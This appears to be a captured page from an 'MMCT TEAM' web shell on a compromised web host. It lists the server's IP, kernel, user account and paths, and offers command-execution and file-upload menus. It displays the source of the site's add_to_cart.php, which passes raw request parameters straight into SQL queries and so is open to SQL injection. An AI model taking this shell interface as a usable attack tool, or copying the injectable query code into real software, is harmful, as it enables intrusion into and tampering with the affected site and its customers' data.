MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.148.106.49
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/adisgauges.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/adisgauges.com/add_to_cart.php
<?php 
include("includes/dbsmain.inc.php");
include("site-main-query.php");
$site_url=$compDATA['admin_website_url'];
$flag=0;
$Curr_Date = date("Y-m-d");
$check_cart="";
$pro_id=$_REQUEST['pro_cart_id'];
$pro_size=$_REQUEST['pro_size'];


$pro_qty=$_REQUEST['qty'];
$pro_sub_total="";
if($pro_qty=="")
{
  $pro_qty=1;
}

if($pro_qty!=""){
$product_QTY_DB=db_scalar("select category_qnty from tbl_category where 1 and category_status='Active' and category_id='$pro_id' ");
if($pro_qty>$product_QTY_DB)
{
$flag=1;
echo "quantity error";
  
    
}
}


if($pro_id!="")
{
  if($flag==0)
{
  if($_SESSION['cart_session_id']!="" && !empty($_SESSION['cart_session_id']))
    {
        ///////////////////////////////////////////
$pro_db_id=db_scalar("select bskt_prd_id from tbl_basket where bskt_prd_id='$pro_id' and bskt_session_id='$_SESSION[cart_session_id]'");
if($pro_db_id!="")
{  
    echo "Sorry ! Item already added in your cart.";

}else{

if($_REQUEST['from']=="wishlist")
{
  db_query("delete from tbl_wishlist where wishlist_prd_id='$pro_id' and wishlist_reg_id='$_SESSION[login_id]' ");
    }


    $product_sql=db_query("select * from tbl_category where 1 and category_status='Active' and category_id='$pro_id' ");
    $product_data=mysql_fetch_array($product_sql);
    
    $pro_sub_total=$pro_qty*$product_data['category_price'];

db_query("insert into tbl_basket set 
bskt_session_id='$_SESSION[cart_session_id]',
bskt_prd_id='$pro_id',
bskt_prd_name='$product_data[category_name]',
bskt_prd_image_name='$product_data[category_image_name]',
bskt_prd_qnty='$pro_qty',
size='$pro_size',
bskt_prd_unit_price='$product_data[category_price]',
bskt_prd_subtotal='$pro_sub_total',
bskt_prd_add_date='$Curr_Date'");
echo "Item added in your cart.";


}
        //////////////////////////////////////////
        
    }else{
      
if($_REQUEST['from']=="wishlist")
{
  db_query("delete from tbl_wishlist where wishlist_prd_id='$pro_id' and wishlist_reg_id='$_SESSION[login_id]' ");
    }
      
        $_SESSION['cart_session_id']=rand(100,10000);
      ///////////////////////////////////////////

    $product_sql=db_query("select * from tbl_category where 1 and category_status='Active' and category_id='$pro_id' ");
    $product_data=mysql_fetch_array($product_sql);

     $pro_sub_total=$pro_qty*$product_data['category_price'];

db_query("insert into tbl_basket set 
bskt_session_id='$_SESSION[cart_session_id]',
bskt_prd_id='$pro_id',
bskt_prd_name='$product_data[category_name]',
bskt_prd_image_name='$product_data[category_image_name]',
bskt_prd_qnty='$pro_qty',
size='$pro_size',
bskt_prd_unit_price='$product_data[category_price]',
bskt_prd_subtotal='$pro_sub_total',
bskt_prd_add_date='$Curr_Date'");

echo "Item added in your cart.";


        //////////////////////////////////////////
    
    }
    
    }
}


?>

MMCT - 2023